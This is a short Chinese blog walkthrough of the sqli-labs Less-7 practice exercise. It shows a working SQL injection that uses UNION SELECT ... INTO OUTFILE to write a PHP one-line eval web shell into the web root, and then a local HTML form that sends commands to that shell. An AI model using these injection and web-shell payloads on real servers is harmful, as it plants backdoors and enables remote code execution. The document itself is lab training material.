【sqli-labs】 less7 GET

使用此漏洞需要知道WEB程序的根路径并且MYSQL的secure-file-priv配置应为可写入该路径

添加单引号,发现错误被屏蔽

对应的SQL语句应为

select ... from ... where xx=(('1')) ...

字段还是3个

在数据库中执行测试,看是否能写入成功

SELECT * FROM users WHERE id=(('1')) UNION SELECT 1,2,'111' into outfile 'D:phpStudyPHPTutorialWWW1.php'#')) LIMIT 0,1

修改my.ini

secure-file-priv=""

重启MYSQL,测试写入,注意/需要转义

select * from users WHERE id=(('a')) union select 1,2,'11111' into outfile 'D://phpStudy//PHPTutorial//WWW//1.php'#')) LIMIT 0,1

 

构造GET请求,写入一句话木马

<?php @eval($_POST["c"]);?>  
http://localhost/sqli/Less-7/?id=a')) union select 1,2,'<?php @eval($_POST["c"]);?>' into outfile 'D://phpStudy//PHPTutorial//WWW//mm.php'%23

【注】这个并不是MYSQL执行出错,查看源码可知

 row为空就会显示该错误

 

访问,文件成功写入

新建一个本地HTML

<html>  
    <body>  
        <form action="http://localhost/mm.php" method="post">  
            <input type="text" name="c" value="phpinfo();">  
            <input type="submit" value="submit">  
        </form>  
    </body>  
</html>

原文地址:https://www.cnblogs.com/omnis/p/8315087.html